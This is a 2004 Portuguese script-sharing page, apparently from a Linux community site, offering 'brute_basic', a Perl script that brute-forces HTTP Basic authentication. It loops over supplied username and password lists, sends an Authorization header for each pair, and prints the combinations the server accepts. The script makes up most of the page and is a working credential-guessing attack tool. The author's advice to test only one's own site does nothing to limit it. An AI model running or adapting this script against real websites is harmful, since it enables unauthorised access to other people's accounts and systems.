brute_basic
Publicado por Marcelo 25/01/2004
[ Hits: 6.458 ]
Script que faz brute-force em autenticação via web do tipo Basic (digest ainda não foi incluído), o script precisa de duas listas de nomes, para usuários e senhas, você pode escolher entre método HEAD e GET (alguns sites bloqueiam HEAD), mas como o script ainda não trabalha com threads, ele é extremamente lento para grandes brute-forces, por isso é mais recomendado para testar o seu próprio website, o script utiliza HTTP 1.1, espero que em próximas versões eu inclua threads...
#!/usr/bin/perl
use Socket;
use IO::Socket;
use MIME::Base64;
if ($ARGV[3] =~ /g/) { $metodo='GET'; print "Utilizando método GET ao invés de H
EAD\n"; }
else { $metodo='HEAD'; }
open(logins,$ARGV[1]);
@url=split(/\//,$ARGV[0]);
$get='/';
$ip=gethostbyname($url[0]);
if ($ip) { $ip=inet_ntoa($ip); }
else {
print "Erro no DNS ao tentar resolver $url[0]!\n";
exit(1);
}
for ($i=1;$url[$i];$i++) {
$get="$get/$url[$i]";
}
if (substr($ARGV[0],(length($ARGV[0])-1)) eq '/') { $get="$get/"; }
print "Iniciando tentativa de brute-force em $url[0]\n";
for ($nl=0;($user=<logins>);$nl++) {
chop $user;
close(senhas);
open(senhas,$ARGV[2]);
for ($np=0;($senha=<senhas>);$np++) {
chop $senha;
$final=encode_base64("$user:$senha");
$sock=IO::Socket::INET->new(PeerAddr=>$ip,PeerPort=>80,Timeout=>3);
if ($sock) { print $sock "$metodo $get HTTP/1.1\nHost: $url[0]\nAuthorization:
Basic $final\n\n"; }
@div=split(/ /,<$sock>);
if ($div[1] eq '403') {
print "Forbidden retornado do servidor, pode ser um anti brute-force\n";
}
elsif ($div[1] eq '405') {
print "O método $metodo não é permitido pelo servidor:\n";
if ($metodo eq 'HEAD') {
print "Tente usar a opção -g no final, que utiliza GET";
}
else {
print "Alguma coisa muito estranha está acontecendo... o servidor não suporta o método GET, não é impossível, mas simplesmente inútil e impede a navegação normal. Verifique se está tudo certo e se o site é navegável!";
}
print "\nFechando o brute-force.\n";
exit(1);
}
else {
if ($div[1] ne '401') {
print "$user:$senha -> OK! <-> Retorno: $div[1]\n";
$a++;
}
}
# print "$div[0] $div[1] $div[2]\n";
close($sock);
}
}
if (!$a) { $a=0; }
print "Programa terminado, combinações tentadas: ".($nl*$np).", senhas achadas: $a\n";
Script para encontrar vulnerabilidades no BIND
Gerador de Senhas Aleatórias VERSÃO 2.0
Nenhum comentário foi encontrado.
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
Atualizando o Fedora 42 para 43
Como saber se o seu e-mail já teve a senha vazada?
Como descobrir se a sua senha já foi vazada na internet?
É normal não gostar de KDE? (12)
E aí? O Warsaw já está funcionando no Debian 13? [RESOLVIDO] (15)
Secure boot, artigo interessante, nada técnico. (4)
copiar library para diretorio /usr/share/..... su com Falha na a... (1)









